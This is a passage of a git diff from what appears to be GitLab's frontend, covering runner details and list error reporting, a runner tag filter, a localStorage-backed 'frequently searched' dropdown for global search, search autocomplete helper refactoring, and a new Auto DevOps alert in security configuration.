+ maximumTimeout
+ tagList
+}
diff --git a/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql b/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql
index 0835e3c7c09..68d6f02f799 100644
--- a/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql
+++ b/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql
@@ -10,4 +10,6 @@ fragment RunnerNode on CiRunner {
locked
tagList
contactedAt
+ jobCount
+ projectCount
}
diff --git a/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql b/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql
index d50c1880d77..dcc7fdf24f1 100644
--- a/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql
+++ b/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql
@@ -1,4 +1,4 @@
-#import "~/runner/graphql/runner_details.fragment.graphql"
+#import "ee_else_ce/runner/graphql/runner_details.fragment.graphql"
mutation runnerUpdate($input: RunnerUpdateInput!) {
runnerUpdate(input: $input) {
diff --git a/app/assets/javascripts/runner/runner_details/runner_details_app.vue b/app/assets/javascripts/runner/runner_details/runner_details_app.vue
index 5d5fa81b851..6557a7834e7 100644
--- a/app/assets/javascripts/runner/runner_details/runner_details_app.vue
+++ b/app/assets/javascripts/runner/runner_details/runner_details_app.vue
@@ -1,20 +1,22 @@
<script>
+import createFlash from '~/flash';
+import { TYPE_CI_RUNNER } from '~/graphql_shared/constants';
import { convertToGraphQLId } from '~/graphql_shared/utils';
+import { sprintf } from '~/locale';
import RunnerTypeAlert from '../components/runner_type_alert.vue';
import RunnerTypeBadge from '../components/runner_type_badge.vue';
import RunnerUpdateForm from '../components/runner_update_form.vue';
-import { I18N_DETAILS_TITLE, RUNNER_ENTITY_TYPE } from '../constants';
+import { I18N_DETAILS_TITLE, I18N_FETCH_ERROR } from '../constants';
import getRunnerQuery from '../graphql/get_runner.query.graphql';
+import { captureException } from '../sentry_utils';
export default {
+ name: 'RunnerDetailsApp',
components: {
RunnerTypeAlert,
RunnerTypeBadge,
RunnerUpdateForm,
},
- i18n: {
- I18N_DETAILS_TITLE,
- },
props: {
runnerId: {
type: String,
@@ -31,9 +33,27 @@ export default {
query: getRunnerQuery,
variables() {
return {
- id: convertToGraphQLId(RUNNER_ENTITY_TYPE, this.runnerId),
+ id: convertToGraphQLId(TYPE_CI_RUNNER, this.runnerId),
};
},
+ error(error) {
+ createFlash({ message: I18N_FETCH_ERROR });
+
+ this.reportToSentry(error);
+ },
+ },
+ },
+ computed: {
+ pageTitle() {
+ return sprintf(I18N_DETAILS_TITLE, { runner_id: this.runnerId });
+ },
+ },
+ errorCaptured(error) {
+ this.reportToSentry(error);
+ },
+ methods: {
+ reportToSentry(error) {
+ captureException({ error, component: this.$options.name });
},
},
};
@@ -41,9 +61,7 @@ export default {
<template>
<div>
<h2 class="page-title">
- {{ sprintf($options.i18n.I18N_DETAILS_TITLE, { runner_id: runnerId }) }}
-
- <runner-type-badge v-if="runner" :type="runner.runnerType" />
+ {{ pageTitle }} <runner-type-badge v-if="runner" :type="runner.runnerType" />
</h2>
<runner-type-alert v-if="runner" :type="runner.runnerType" />
diff --git a/app/assets/javascripts/runner/runner_details/runner_update_form_utils.js b/app/assets/javascripts/runner/runner_details/runner_update_form_utils.js
new file mode 100644
index 00000000000..3b519fa7d71
--- /dev/null
+++ b/app/assets/javascripts/runner/runner_details/runner_update_form_utils.js
@@ -0,0 +1,38 @@
+export const runnerToModel = (runner) => {
+ const {
+ id,
+ description,
+ maximumTimeout,
+ accessLevel,
+ active,
+ locked,
+ runUntagged,
+ tagList = [],
+ } = runner || {};
+
+ return {
+ id,
+ description,
+ maximumTimeout,
+ accessLevel,
+ active,
+ locked,
+ runUntagged,
+ tagList: tagList.join(', '),
+ };
+};
+
+export const modelToUpdateMutationVariables = (model) => {
+ const { maximumTimeout, tagList } = model;
+
+ return {
+ input: {
+ ...model,
+ maximumTimeout: maximumTimeout !== '' ? maximumTimeout : null,
+ tagList: tagList
+ ?.split(',')
+ .map((tag) => tag.trim())
+ .filter((tag) => Boolean(tag)),
+ },
+ };
+};
diff --git a/app/assets/javascripts/runner/runner_list/index.js b/app/assets/javascripts/runner/runner_list/index.js
index 5eba14a7948..16616f00d1e 100644
--- a/app/assets/javascripts/runner/runner_list/index.js
+++ b/app/assets/javascripts/runner/runner_list/index.js
@@ -12,7 +12,8 @@ export const initRunnerList = (selector = '#js-runner-list') => {
return null;
}
- // TODO `activeRunnersCount` should be implemented using a GraphQL API.
+ // TODO `activeRunnersCount` should be implemented using a GraphQL API
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/333806
const { activeRunnersCount, registrationToken, runnerInstallHelpPage } = el.dataset;
const apolloProvider = new VueApollo({
diff --git a/app/assets/javascripts/runner/runner_list/runner_list_app.vue b/app/assets/javascripts/runner/runner_list/runner_list_app.vue
index 7f3a980ccca..8d39243d609 100644
--- a/app/assets/javascripts/runner/runner_list/runner_list_app.vue
+++ b/app/assets/javascripts/runner/runner_list/runner_list_app.vue
@@ -1,5 +1,5 @@
<script>
-import * as Sentry from '@sentry/browser';
+import createFlash from '~/flash';
import { fetchPolicies } from '~/lib/graphql';
import { updateHistory } from '~/lib/utils/url_utility';
import RunnerFilteredSearchBar from '../components/runner_filtered_search_bar.vue';
@@ -7,8 +7,9 @@ import RunnerList from '../components/runner_list.vue';
import RunnerManualSetupHelp from '../components/runner_manual_setup_help.vue';
import RunnerPagination from '../components/runner_pagination.vue';
import RunnerTypeHelp from '../components/runner_type_help.vue';
-import { INSTANCE_TYPE } from '../constants';
+import { INSTANCE_TYPE, I18N_FETCH_ERROR } from '../constants';
import getRunnersQuery from '../graphql/get_runners.query.graphql';
+import { captureException } from '../sentry_utils';
import {
fromUrlQueryToSearch,
fromSearchToUrl,
@@ -16,6 +17,7 @@ import {
} from './runner_search_utils';
export default {
+ name: 'RunnerListApp',
components: {
RunnerFilteredSearchBar,
RunnerList,
@@ -59,8 +61,10 @@ export default {
pageInfo: runners?.pageInfo || {},
};
},
- error(err) {
- this.captureException(err);
+ error(error) {
+ createFlash({ message: I18N_FETCH_ERROR });
+
+ this.reportToSentry(error);
},
},
},
@@ -87,15 +91,12 @@ export default {
},
},
},
- errorCaptured(err) {
- this.captureException(err);
+ errorCaptured(error) {
+ this.reportToSentry(error);
},
methods: {
- captureException(err) {
- Sentry.withScope((scope) => {
- scope.setTag('component', 'runner_list_app');
- Sentry.captureException(err);
- });
+ reportToSentry(error) {
+ captureException({ error, component: this.$options.name });
},
},
INSTANCE_TYPE,
@@ -115,17 +116,17 @@ export default {
</div>
</div>
- <runner-filtered-search-bar v-model="search" namespace="admin_runners" />
+ <runner-filtered-search-bar
+ v-model="search"
+ namespace="admin_runners"
+ :active-runners-count="activeRunnersCount"
+ />
<div v-if="noRunnersFound" class="gl-text-center gl-p-5">
{{ __('No runners found') }}
</div>
<template v-else>
- <runner-list
- :runners="runners.items"
- :loading="runnersLoading"
- :active-runners-count="activeRunnersCount"
- />
+ <runner-list :runners="runners.items" :loading="runnersLoading" />
<runner-pagination v-model="search.pagination" :page-info="runners.pageInfo" />
</template>
</div>
diff --git a/app/assets/javascripts/runner/runner_list/runner_search_utils.js b/app/assets/javascripts/runner/runner_list/runner_search_utils.js
index e45972b81db..9a0dc9c3a32 100644
--- a/app/assets/javascripts/runner/runner_list/runner_search_utils.js
+++ b/app/assets/javascripts/runner/runner_list/runner_search_utils.js
@@ -6,9 +6,10 @@ import {
prepareTokens,
} from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
import {
- PARAM_KEY_SEARCH,
PARAM_KEY_STATUS,
PARAM_KEY_RUNNER_TYPE,
+ PARAM_KEY_TAG,
+ PARAM_KEY_SEARCH,
PARAM_KEY_SORT,
PARAM_KEY_PAGE,
PARAM_KEY_AFTER,
@@ -40,7 +41,7 @@ export const fromUrlQueryToSearch = (query = window.location.search) => {
return {
filters: prepareTokens(
urlQueryToFilter(query, {
- filterNamesAllowList: [PARAM_KEY_STATUS, PARAM_KEY_RUNNER_TYPE],
+ filterNamesAllowList: [PARAM_KEY_STATUS, PARAM_KEY_RUNNER_TYPE, PARAM_KEY_TAG],
filteredSearchTermKey: PARAM_KEY_SEARCH,
legacySpacesDecode: false,
}),
@@ -56,15 +57,19 @@ export const fromSearchToUrl = (
) => {
const filterParams = {
// Defaults
- [PARAM_KEY_SEARCH]: null,
[PARAM_KEY_STATUS]: [],
[PARAM_KEY_RUNNER_TYPE]: [],
+ [PARAM_KEY_TAG]: [],
// Current filters
...filterToQueryObject(processFilters(filters), {
filteredSearchTermKey: PARAM_KEY_SEARCH,
}),
};
+ if (!filterParams[PARAM_KEY_SEARCH]) {
+ filterParams[PARAM_KEY_SEARCH] = null;
+ }
+
const isDefaultSort = sort !== DEFAULT_SORT;
const isFirstPage = pagination?.page === 1;
const otherParams = {
@@ -87,12 +92,12 @@ export const fromSearchToVariables = ({ filters = [], sort = null, pagination =
variables.search = queryObj[PARAM_KEY_SEARCH];
- // TODO Get more than one value when GraphQL API supports OR for "status"
+ // TODO Get more than one value when GraphQL API supports OR for "status" or "runner_type"
[variables.status] = queryObj[PARAM_KEY_STATUS] || [];
-
- // TODO Get more than one value when GraphQL API supports OR for "runner type"
[variables.type] = queryObj[PARAM_KEY_RUNNER_TYPE] || [];
+ variables.tagList = queryObj[PARAM_KEY_TAG];
+
if (sort) {
variables.sort = sort;
}
diff --git a/app/assets/javascripts/runner/sentry_utils.js b/app/assets/javascripts/runner/sentry_utils.js
new file mode 100644
index 00000000000..29de1f9adae
--- /dev/null
+++ b/app/assets/javascripts/runner/sentry_utils.js
@@ -0,0 +1,20 @@
+import * as Sentry from '@sentry/browser';
+
+const COMPONENT_TAG = 'vue_component';
+
+/**
+ * Captures an error in a Vue component and sends it
+ * to Sentry
+ *
+ * @param {Object} options
+ * @param {Error} options.error - Exception or error
+ * @param {String} options.component - Component name in CamelCase format
+ */
+export const captureException = ({ error, component }) => {
+ Sentry.withScope((scope) => {
+ if (component) {
+ scope.setTag(COMPONENT_TAG, component);
+ }
+ Sentry.captureException(error);
+ });
+};
diff --git a/app/assets/javascripts/search/store/actions.js b/app/assets/javascripts/search/store/actions.js
index 0c3f273fec7..b53557c0ec5 100644
--- a/app/assets/javascripts/search/store/actions.js
+++ b/app/assets/javascripts/search/store/actions.js
@@ -2,11 +2,13 @@ import Api from '~/api';
import createFlash from '~/flash';
import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
+import { GROUPS_LOCAL_STORAGE_KEY, PROJECTS_LOCAL_STORAGE_KEY } from './constants';
import * as types from './mutation_types';
+import { loadDataFromLS, setFrequentItemToLS, mergeById } from './utils';
export const fetchGroups = ({ commit }, search) => {
commit(types.REQUEST_GROUPS);
- Api.groups(search)
+ Api.groups(search, { order_by: 'similarity' })
.then((data) => {
commit(types.RECEIVE_GROUPS_SUCCESS, data);
})
@@ -30,7 +32,12 @@ export const fetchProjects = ({ commit, state }, search) => {
if (groupId) {
// TODO (https://gitlab.com/gitlab-org/gitlab/-/issues/323331): For errors `createFlash` is called twice; in `callback` and in `Api.groupProjects`
- Api.groupProjects(groupId, search, {}, callback);
+ Api.groupProjects(
+ groupId,
+ search,
+ { order_by: 'similarity', with_shared: false, include_subgroups: true },
+ callback,
+ );
} else {
// The .catch() is due to the API method not handling a rejection properly
Api.projects(search, { order_by: 'id' }, callback).catch(() => {
@@ -39,6 +46,40 @@ export const fetchProjects = ({ commit, state }, search) => {
}
};
+export const loadFrequentGroups = async ({ commit }) => {
+ const data = loadDataFromLS(GROUPS_LOCAL_STORAGE_KEY);
+ commit(types.LOAD_FREQUENT_ITEMS, { key: GROUPS_LOCAL_STORAGE_KEY, data });
+
+ const promises = data.map((d) => Api.group(d.id));
+ try {
+ const inflatedData = mergeById(await Promise.all(promises), data);
+ commit(types.LOAD_FREQUENT_ITEMS, { key: GROUPS_LOCAL_STORAGE_KEY, data: inflatedData });
+ } catch {
+ createFlash({ message: __('There was a problem fetching recent groups.') });
+ }
+};
+
+export const loadFrequentProjects = async ({ commit }) => {
+ const data = loadDataFromLS(PROJECTS_LOCAL_STORAGE_KEY);
+ commit(types.LOAD_FREQUENT_ITEMS, { key: PROJECTS_LOCAL_STORAGE_KEY, data });
+
+ const promises = data.map((d) => Api.project(d.id).then((res) => res.data));
+ try {
+ const inflatedData = mergeById(await Promise.all(promises), data);
+ commit(types.LOAD_FREQUENT_ITEMS, { key: PROJECTS_LOCAL_STORAGE_KEY, data: inflatedData });
+ } catch {
+ createFlash({ message: __('There was a problem fetching recent projects.') });
+ }
+};
+
+export const setFrequentGroup = ({ state }, item) => {
+ setFrequentItemToLS(GROUPS_LOCAL_STORAGE_KEY, state.frequentItems, item);
+};
+
+export const setFrequentProject = ({ state }, item) => {
+ setFrequentItemToLS(PROJECTS_LOCAL_STORAGE_KEY, state.frequentItems, item);
+};
+
export const setQuery = ({ commit }, { key, value }) => {
commit(types.SET_QUERY, { key, value });
};
diff --git a/app/assets/javascripts/search/store/constants.js b/app/assets/javascripts/search/store/constants.js
new file mode 100644
index 00000000000..3abf7cac6ba
--- /dev/null
+++ b/app/assets/javascripts/search/store/constants.js
@@ -0,0 +1,7 @@
+export const MAX_FREQUENT_ITEMS = 5;
+
+export const MAX_FREQUENCY = 5;
+
+export const GROUPS_LOCAL_STORAGE_KEY = 'global-search-frequent-groups';
+
+export const PROJECTS_LOCAL_STORAGE_KEY = 'global-search-frequent-projects';
diff --git a/app/assets/javascripts/search/store/getters.js b/app/assets/javascripts/search/store/getters.js
new file mode 100644
index 00000000000..650af5fa55a
--- /dev/null
+++ b/app/assets/javascripts/search/store/getters.js
@@ -0,0 +1,9 @@
+import { GROUPS_LOCAL_STORAGE_KEY, PROJECTS_LOCAL_STORAGE_KEY } from './constants';
+
+export const frequentGroups = (state) => {
+ return state.frequentItems[GROUPS_LOCAL_STORAGE_KEY];
+};
+
+export const frequentProjects = (state) => {
+ return state.frequentItems[PROJECTS_LOCAL_STORAGE_KEY];
+};
diff --git a/app/assets/javascripts/search/store/index.js b/app/assets/javascripts/search/store/index.js
index 1923c8b96ab..4fa88822722 100644
--- a/app/assets/javascripts/search/store/index.js
+++ b/app/assets/javascripts/search/store/index.js
@@ -1,6 +1,7 @@
import Vue from 'vue';
import Vuex from 'vuex';
import * as actions from './actions';
+import * as getters from './getters';
import mutations from './mutations';
import createState from './state';
@@ -8,6 +9,7 @@ Vue.use(Vuex);
export const getStoreConfig = ({ query }) => ({
actions,
+ getters,
mutations,
state: createState({ query }),
});
diff --git a/app/assets/javascripts/search/store/mutation_types.js b/app/assets/javascripts/search/store/mutation_types.js
index a6430b53c4f..5c1c29dc738 100644
--- a/app/assets/javascripts/search/store/mutation_types.js
+++ b/app/assets/javascripts/search/store/mutation_types.js
@@ -7,3 +7,5 @@ export const RECEIVE_PROJECTS_SUCCESS = 'RECEIVE_PROJECTS_SUCCESS';
export const RECEIVE_PROJECTS_ERROR = 'RECEIVE_PROJECTS_ERROR';
export const SET_QUERY = 'SET_QUERY';
+
+export const LOAD_FREQUENT_ITEMS = 'LOAD_FREQUENT_ITEMS';
diff --git a/app/assets/javascripts/search/store/mutations.js b/app/assets/javascripts/search/store/mutations.js
index 91d7cf66c8f..63156a89738 100644
--- a/app/assets/javascripts/search/store/mutations.js
+++ b/app/assets/javascripts/search/store/mutations.js
@@ -26,4 +26,7 @@ export default {
[types.SET_QUERY](state, { key, value }) {
state.query[key] = value;
},
+ [types.LOAD_FREQUENT_ITEMS](state, { key, data }) {
+ state.frequentItems[key] = data;
+ },
};
diff --git a/app/assets/javascripts/search/store/state.js b/app/assets/javascripts/search/store/state.js
index 9a0d61d0b93..5b1429ccc97 100644
--- a/app/assets/javascripts/search/store/state.js
+++ b/app/assets/javascripts/search/store/state.js
@@ -1,8 +1,14 @@
+import { GROUPS_LOCAL_STORAGE_KEY, PROJECTS_LOCAL_STORAGE_KEY } from './constants';
+
const createState = ({ query }) => ({
query,
groups: [],
fetchingGroups: false,
projects: [],
fetchingProjects: false,
+ frequentItems: {
+ [GROUPS_LOCAL_STORAGE_KEY]: [],
+ [PROJECTS_LOCAL_STORAGE_KEY]: [],
+ },
});
export default createState;
diff --git a/app/assets/javascripts/search/store/utils.js b/app/assets/javascripts/search/store/utils.js
new file mode 100644
index 00000000000..60c09221ca9
--- /dev/null
+++ b/app/assets/javascripts/search/store/utils.js
@@ -0,0 +1,80 @@
+import AccessorUtilities from '../../lib/utils/accessor';
+import { MAX_FREQUENT_ITEMS, MAX_FREQUENCY } from './constants';
+
+function extractKeys(object, keyList) {
+ return Object.fromEntries(keyList.map((key) => [key, object[key]]));
+}
+
+export const loadDataFromLS = (key) => {
+ if (!AccessorUtilities.isLocalStorageAccessSafe()) {
+ return [];
+ }
+
+ try {
+ return JSON.parse(localStorage.getItem(key)) || [];
+ } catch {
+ // The LS got in a bad state, let's wipe it
+ localStorage.removeItem(key);
+ return [];
+ }
+};
+
+export const setFrequentItemToLS = (key, data, itemData) => {
+ if (!AccessorUtilities.isLocalStorageAccessSafe()) {
+ return;
+ }
+
+ const keyList = [
+ 'id',
+ 'avatar_url',
+ 'name',
+ 'full_name',
+ 'name_with_namespace',
+ 'frequency',
+ 'lastUsed',
+ ];
+
+ try {
+ const frequentItems = data[key].map((obj) => extractKeys(obj, keyList));
+ const item = extractKeys(itemData, keyList);
+ const existingItemIndex = frequentItems.findIndex((i) => i.id === item.id);
+
+ if (existingItemIndex >= 0) {
+ // Up the frequency (Max 5)
+ const currentFrequency = frequentItems[existingItemIndex].frequency;
+ frequentItems[existingItemIndex].frequency = Math.min(currentFrequency + 1, MAX_FREQUENCY);
+ frequentItems[existingItemIndex].lastUsed = new Date().getTime();
+ } else {
+ // Only store a max of 5 items
+ if (frequentItems.length >= MAX_FREQUENT_ITEMS) {
+ frequentItems.pop();
+ }
+
+ frequentItems.push({ ...item, frequency: 1, lastUsed: new Date().getTime() });
+ }
+
+ // Sort by frequency and lastUsed
+ frequentItems.sort((a, b) => {
+ if (a.frequency > b.frequency) {
+ return -1;
+ } else if (a.frequency < b.frequency) {
+ return 1;
+ }
+ return b.lastUsed - a.lastUsed;
+ });
+
+ // Note we do not need to commit a mutation here as immediately after this we refresh the page to
+ // update the search results.
+ localStorage.setItem(key, JSON.stringify(frequentItems));
+ } catch {
+ // The LS got in a bad state, let's wipe it
+ localStorage.removeItem(key);
+ }
+};
+
+export const mergeById = (inflatedData, storedData) => {
+ return inflatedData.map((data) => {
+ const stored = storedData?.find((d) => d.id === data.id) || {};
+ return { ...stored, ...data };
+ });
+};
diff --git a/app/assets/javascripts/search/topbar/components/group_filter.vue b/app/assets/javascripts/search/topbar/components/group_filter.vue
index da9252eeacd..45a6ae73fac 100644
--- a/app/assets/javascripts/search/topbar/components/group_filter.vue
+++ b/app/assets/javascripts/search/topbar/components/group_filter.vue
@@ -1,6 +1,6 @@
<script>
import { isEmpty } from 'lodash';
-import { mapState, mapActions } from 'vuex';
+import { mapState, mapActions, mapGetters } from 'vuex';
import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
import { ANY_OPTION, GROUP_DATA, PROJECT_DATA } from '../constants';
import SearchableDropdown from './searchable_dropdown.vue';
@@ -19,13 +19,19 @@ export default {
},
computed: {
...mapState(['groups', 'fetchingGroups']),
+ ...mapGetters(['frequentGroups']),
selectedGroup() {
return isEmpty(this.initialData) ? ANY_OPTION : this.initialData;
},
},
methods: {
- ...mapActions(['fetchGroups']),
+ ...mapActions(['fetchGroups', 'setFrequentGroup', 'loadFrequentGroups']),
handleGroupChange(group) {
+ // If group.id is null we are clearing the filter and don't need to store that in LS.
+ if (group.id) {
+ this.setFrequentGroup(group);
+ }
+
visitUrl(
setUrlParams({ [GROUP_DATA.queryParam]: group.id, [PROJECT_DATA.queryParam]: null }),
);
@@ -44,6 +50,8 @@ export default {
:loading="fetchingGroups"
:selected-item="selectedGroup"
:items="groups"
+ :frequent-items="frequentGroups"
+ @first-open="loadFrequentGroups"
@search="fetchGroups"
@change="handleGroupChange"
/>
diff --git a/app/assets/javascripts/search/topbar/components/project_filter.vue b/app/assets/javascripts/search/topbar/components/project_filter.vue
index dbe8ba54216..1ca31db61e5 100644
--- a/app/assets/javascripts/search/topbar/components/project_filter.vue
+++ b/app/assets/javascripts/search/topbar/components/project_filter.vue
@@ -1,5 +1,5 @@
<script>
-import { mapState, mapActions } from 'vuex';
+import { mapState, mapActions, mapGetters } from 'vuex';
import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
import { ANY_OPTION, GROUP_DATA, PROJECT_DATA } from '../constants';
import SearchableDropdown from './searchable_dropdown.vue';
@@ -18,13 +18,19 @@ export default {
},
computed: {
...mapState(['projects', 'fetchingProjects']),
+ ...mapGetters(['frequentProjects']),
selectedProject() {
return this.initialData ? this.initialData : ANY_OPTION;
},
},
methods: {
- ...mapActions(['fetchProjects']),
+ ...mapActions(['fetchProjects', 'setFrequentProject', 'loadFrequentProjects']),
handleProjectChange(project) {
+ // If project.id is null we are clearing the filter and don't need to store that in LS.
+ if (project.id) {
+ this.setFrequentProject(project);
+ }
+
// This determines if we need to update the group filter or not
const queryParams = {
...(project.namespace?.id && { [GROUP_DATA.queryParam]: project.namespace.id }),
@@ -47,6 +53,8 @@ export default {
:loading="fetchingProjects"
:selected-item="selectedProject"
:items="projects"
+ :frequent-items="frequentProjects"
+ @first-open="loadFrequentProjects"
@search="fetchProjects"
@change="handleProjectChange"
/>
diff --git a/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue b/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
index 2e2aa052dd8..5653cddda60 100644
--- a/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
+++ b/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
@@ -2,6 +2,7 @@
import {
GlDropdown,
GlDropdownItem,
+ GlDropdownSectionHeader,
GlSearchBoxByType,
GlLoadingIcon,
GlIcon,
@@ -16,11 +17,13 @@ import SearchableDropdownItem from './searchable_dropdown_item.vue';
export default {
i18n: {
clearLabel: __('Clear'),
+ frequentlySearched: __('Frequently searched'),
},
name: 'SearchableDropdown',
components: {
GlDropdown,
GlDropdownItem,
+ GlDropdownSectionHeader,
GlSearchBoxByType,
GlLoadingIcon,
GlIcon,
@@ -61,17 +64,33 @@ export default {
required: false,
default: () => [],
},
+ frequentItems: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
},
data() {
return {
searchText: '',
+ hasBeenOpened: false,
};
},
+ computed: {
+ showFrequentItems() {
+ return !this.searchText && this.frequentItems.length > 0;
+ },
+ },
methods: {
isSelected(selected) {
return selected.id === this.selectedItem.id;
},
openDropdown() {
+ if (!this.hasBeenOpened) {
+ this.hasBeenOpened = true;
+ this.$emit('first-open');
+ }
+
this.$emit('search', this.searchText);
},
resetDropdown() {
@@ -99,7 +118,7 @@ export default {
<span class="dropdown-toggle-text gl-flex-grow-1 gl-text-truncate">
{{ selectedItem[name] }}
</span>
- <gl-loading-icon v-if="loading" inline class="gl-mr-3" />
+ <gl-loading-icon v-if="loading" size="sm" inline class="gl-mr-3" />
<gl-button
v-if="!isSelected($options.ANY_OPTION)"
v-gl-tooltip
@@ -133,6 +152,25 @@ export default {
<span data-testid="item-title">{{ $options.ANY_OPTION.name }}</span>
</gl-dropdown-item>
</div>
+ <div
+ v-if="showFrequentItems"
+ class="gl-border-b-solid gl-border-b-gray-100 gl-border-b-1 gl-pb-2 gl-mb-2"
+ >
+ <gl-dropdown-section-header>{{
+ $options.i18n.frequentlySearched
+ }}</gl-dropdown-section-header>
+ <searchable-dropdown-item
+ v-for="item in frequentItems"
+ :key="item.id"
+ :item="item"
+ :selected-item="selectedItem"
+ :search-text="searchText"
+ :name="name"
+ :full-name="fullName"
+ data-testid="frequent-items"
+ @change="updateDropdown"
+ />
+ </div>
<div v-if="!loading">
<searchable-dropdown-item
v-for="item in items"
@@ -142,6 +180,7 @@ export default {
:search-text="searchText"
:name="name"
:full-name="fullName"
+ data-testid="searchable-items"
@change="updateDropdown"
/>
</div>
diff --git a/app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue b/app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue
index 498d4af59b4..42d6444e690 100644
--- a/app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue
+++ b/app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue
@@ -1,5 +1,5 @@
<script>
-import { GlDropdownItem, GlAvatar } from '@gitlab/ui';
+import { GlDropdownItem, GlAvatar, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import highlight from '~/lib/utils/highlight';
import { truncateNamespace } from '~/lib/utils/text_utility';
@@ -9,6 +9,9 @@ export default {
GlDropdownItem,
GlAvatar,
},
+ directives: {
+ SafeHtml,
+ },
props: {
item: {
type: Object,
@@ -62,8 +65,7 @@ export default {
:size="32"
/>
<div class="gl-display-flex gl-flex-direction-column">
- <!-- eslint-disable-next-line vue/no-v-html -->
- <span data-testid="item-title" v-html="highlightedItemName">{{ item[name] }}</span>
+ <span v-safe-html="highlightedItemName" data-testid="item-title"></span>
<span class="gl-font-sm gl-text-gray-700" data-testid="item-namespace">{{
truncatedNamespace
}}</span>
diff --git a/app/assets/javascripts/search_autocomplete.js b/app/assets/javascripts/search_autocomplete.js
index 9c133a79607..4f278677c5f 100644
--- a/app/assets/javascripts/search_autocomplete.js
+++ b/app/assets/javascripts/search_autocomplete.js
@@ -4,16 +4,17 @@ import $ from 'jquery';
import { escape, throttle } from 'lodash';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { getIdenticonBackgroundClass, getIdenticonTitle } from '~/helpers/avatar_helper';
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import { s__, __, sprintf } from '~/locale';
import Tracking from '~/tracking';
import axios from './lib/utils/axios_utils';
+import { spriteIcon } from './lib/utils/common_utils';
import {
isInGroupsPage,
isInProjectPage,
getGroupSlug,
getProjectSlug,
- spriteIcon,
-} from './lib/utils/common_utils';
+} from './search_autocomplete_utils';
/**
* Search input in top navigation bar.
@@ -343,7 +344,10 @@ export class SearchAutocomplete {
this.searchInput.on('focus', this.onSearchInputFocus);
this.searchInput.on('blur', this.onSearchInputBlur);
this.clearInput.on('click', this.onClearInputClick);
- this.dropdownContent.on('scroll', throttle(this.setScrollFade, 250));
+ this.dropdownContent.on(
+ 'scroll',
+ throttle(this.setScrollFade, DEFAULT_DEBOUNCE_AND_THROTTLE_MS),
+ );
this.searchInput.on('click', (e) => {
e.stopPropagation();
diff --git a/app/assets/javascripts/search_autocomplete_utils.js b/app/assets/javascripts/search_autocomplete_utils.js
new file mode 100644
index 00000000000..a9a0f941e93
--- /dev/null
+++ b/app/assets/javascripts/search_autocomplete_utils.js
@@ -0,0 +1,19 @@
+import { getPagePath } from './lib/utils/common_utils';
+
+export const isInGroupsPage = () => getPagePath() === 'groups';
+
+export const isInProjectPage = () => getPagePath() === 'projects';
+
+export const getProjectSlug = () => {
+ if (isInProjectPage()) {
+ return document?.body?.dataset?.project;
+ }
+ return null;
+};
+
+export const getGroupSlug = () => {
+ if (isInProjectPage() || isInGroupsPage()) {
+ return document?.body?.dataset?.group;
+ }
+ return null;
+};
diff --git a/app/assets/javascripts/security_configuration/components/auto_dev_ops_alert.vue b/app/assets/javascripts/security_configuration/components/auto_dev_ops_alert.vue
new file mode 100644
index 00000000000..ce6a1b4888b
--- /dev/null
+++ b/app/assets/javascripts/security_configuration/components/auto_dev_ops_alert.vue
@@ -0,0 +1,41 @@
+<script>
+import { GlAlert, GlLink, GlSprintf } from '@gitlab/ui';
+import { s__ } from '~/locale';
+
+export default {
+ components: {
+ GlSprintf,
+ GlAlert,
+ GlLink,
+ },
+ inject: ['autoDevopsHelpPagePath', 'autoDevopsPath'],
+ i18n: {
+ primaryButtonText: s__('SecurityConfiguration|Enable Auto DevOps'),
+ body: s__(
+ 'SecurityConfiguration|Quickly enable all continuous testing and compliance tools by enabling %{linkStart}Auto DevOps%{linkEnd}',
+ ),
+ },
+ methods: {
+ dismissMethod() {
+ this.$emit('dismiss');
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-alert
+ variant="info"
+ :primary-button-link="autoDevopsPath"
+ :primary-button-text="$options.i18n.primaryButtonText"
+ @dismiss="dismissMethod"
+ >
+ <gl-sprintf :message="$options.i18n.body">
+ <template #link="{ content }">
+ <gl-link :href="autoDevopsHelpPagePath">
+ {{ content }}
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
+</template>
diff --git a/app/assets/javascripts/security_configuration/components/configuration_table.vue b/app/assets/javascripts/security_configuration/components/configuration_table.vue
index 2110af1522b..7f250bf1365 100644
--- a/app/assets/javascripts/security_configuration/components/configuration_table.vue
+++ b/app/assets/javascripts/security_configuration/components/configuration_table.vue
@@ -8,6 +8,7 @@ import {
REPORT_TYPE_DAST_PROFILES,
REPORT_TYPE_DEPENDENCY_SCANNING,
REPORT_TYPE_CONTAINER_SCANNING,
+ REPORT_TYPE_CLUSTER_IMAGE_SCANNING,
REPORT_TYPE_COVERAGE_FUZZING,
REPORT_TYPE_API_FUZZING,
REPORT_TYPE_LICENSE_COMPLIANCE,
@@ -46,6 +47,7 @@ export default {
[REPORT_TYPE_DAST_PROFILES]: Upgrade,
[REPORT_TYPE_DEPENDENCY_SCANNING]: Upgrade,
[REPORT_TYPE_CONTAINER_SCANNING]: Upgrade,
+ [REPORT_TYPE_CLUSTER_IMAGE_SCANNING]: Upgrade,
[REPORT_TYPE_COVERAGE_FUZZING]: Upgrade,
